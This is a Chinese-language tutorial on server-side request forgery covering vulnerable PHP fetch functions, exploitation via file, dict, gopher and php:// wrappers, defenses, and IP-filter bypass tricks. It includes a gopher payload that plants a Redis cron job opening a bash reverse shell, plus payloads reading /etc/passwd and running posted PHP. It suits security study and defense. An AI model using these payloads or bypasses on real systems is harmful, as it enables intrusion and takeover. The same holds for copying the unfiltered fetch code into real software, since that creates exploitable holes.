介绍
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
出现位置
转码服务
在线翻译
图片加载与下载(通过URL地址加载或下载图片)
图片、文章收藏功能
网站采集、网页抓取的地方。
头像的地方。(远程加载头像)
一切要你输入网址的地方和可以输入ip的地方。
从URL关键字中寻找:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain
危害
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网web应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
5.利用file协议读取本地文件等。
6.各个协议调用探针:http,file,dict,ftp,gopher等
原理
SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF利用存在缺陷的Web 应用作为代理攻击远程和本地的服务器。
file_get_contents()
<?php $url = $_GET['url']; echo file_get_contents($url); ?>
(只能用get方式获取数据)从用户指定的url获取内容(对本地和远程的文件进行读取),然后指定一个文件名进行保存,并展示给用户。(把一个字符串写入文件中)
fsockopen()
<?php function GetFile($host,$port,$link) { $fp = fsockopen($host, intval($port), $errno, $errstr, 30); if (!$fp) { echo "$errstr (error number $errno) \n"; } else { $out = "GET $link HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; $out .= "\r\n"; fwrite($fp, $out); $contents=''; while (!feof($fp)) { $contents.= fgets($fp, 1024); } fclose($fp); return $contents; } } ?>
(只能用get方式获取数据)实现对用户指定url数据的获取,使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限
curl_exec()
<?php if (isset($_POST['url'])){ $link = $_POST['url']; $curlobj = curl_init();// 创建新的 cURL 资源 curl_setopt($curlobj, CURLOPT_POST, 0); curl_setopt($curlobj,CURLOPT_URL,$link); curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项 $result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器 curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源 $filename = './curled/'.rand().'.txt'; file_put_contents($filename, $result); echo $result; } ?>
curl函数作用:一个库,通过URL和许多不同种服务器进行交流,并且支持很多协议。
curl支持哪些协议:curl --version
注意:
1.一般情况下PHP不会开启fopen的gopher wrapper
2.file_get_contents的gopher协议不能URL编码
3.file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
4.curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
5.curl_exec() //默认不跟踪跳转,
6.file_get_contents() // file_get_contents支持php://input协议
利用(伪协议)
函数为curl_exec()
http或https
作用:访问url
使用:探测内网主机存活,访问内网主机文件。
file
作用:读取本地任意内容
使用:读取本地敏感文件内容
?url=file:///etc/passwd'
限制:php版本>=5.2 allow_url_fopen=off/on allow_url_include=off/on
dict
作用:加载一个 tcp 端口提供的服务所返回的部分数据。
使用:查看安装软件版本信息,探测端口,操作内网redis服务、getshell等。
?url=dict://127.0.0.1:22/'
gopher
作用:Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。
使用限制:
PHP --wite-curlwrappers且php版本至少为5.3Java 小于JDK1.7 Curl 低版本不支持
Perl 支持 ASP.NET 小于版本3
使用:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。
可用于反弹shell,攻击redis。(主要利用该协议的写入功能)
格式:URL:gopher://<host>:<port>/<gopher-path>_后接上TCP数据流(例:http请求包)
curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'
函数为file_get_contents()
http/https file
php://
作用:php:// 用于访问各个输入/输出流(I/O streams),经常使用的是php://filter和php://input;php://filter用于读取php源码,php://input用于执行php代码。
php://filter/
作用:读取目标文件经过base64编码的源代码。
使用:任意读取敏感文件
?file=php://filter/read=convert.base64-encode/resource=E:/phpinfo.php
限制:php版本>=5.2 allow_url_fopen=off/on allow_url_include=off/on
php://input
作用:可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
使用:
?file=php://input+[POST DATA部分]+<?php phpinfo();?>
限制:php版本>=5.2 allow_url_fopen=off/on allow_url_include=off/on
注:当enctype=”multipart/form-data”时,php://input是无效的。
防御
1.禁止跳转
2.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
3.禁用不需要的协议,仅仅允许http和https请求。可以防止类似于file://, gopher://, ftp:// 等引起的问题
4.设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP)
5.限制请求的端口为http常用的端口,比如 80、443、8080、8090
6.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
绕过IP限制
常用绕过方法
@
http://abc@127.0.0.1 实际上是以用户名abc连接到站点127.0.0.1,同理 http://8.8.8.8@127.0.0.1:8080、http://127.0.0.1#8.8.8.8
在对@解析域名中,不同的处理函数存在处理差异,如:
http://www.aaa.com@www.bbb.com@www.ccc.com
在PHP的parse_url
中会识别www.ccc.com,而libcur
l则识别为www.bbb.com[::]
可以利用
[::]
来绕过localhost:http://[::]:80/ >>> http://127.0.0.1添加端口号
http://127.0.0.1:8080
利用短网址
站长工具短网址:http://tool.chinaz.com/tools/dwz.aspx
百度短网址:http://dwz.cn/
利用特殊域名
原理是DNS解析。xip.io可以指向任意域名,即127.0.0.1.xip.io,可解析为127.0.0.1
利用DNS解析
在域名上设置A记录,指向127.0.1
利用进制转换
127.0.0.1 (八进制:0177.0.0.1 十六进制:0x7f.0.0.1 十进制:2130706433)
句号
127。0。0。1 >>> 127.0.0.1
302跳转
使用https://tinyurl.com生成302跳转地址
常见限制绕过
1.限制为http://www.xxx.com 域名
采用http基本身份认证的方式绕过。即@
http://www.xxx.com@www.xxc.com
2.限制请求IP不为内网地址
当不允许ip为内网地址时
(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换
3.限制请求只为http协议
(1)采取302跳转
(2)采取短地址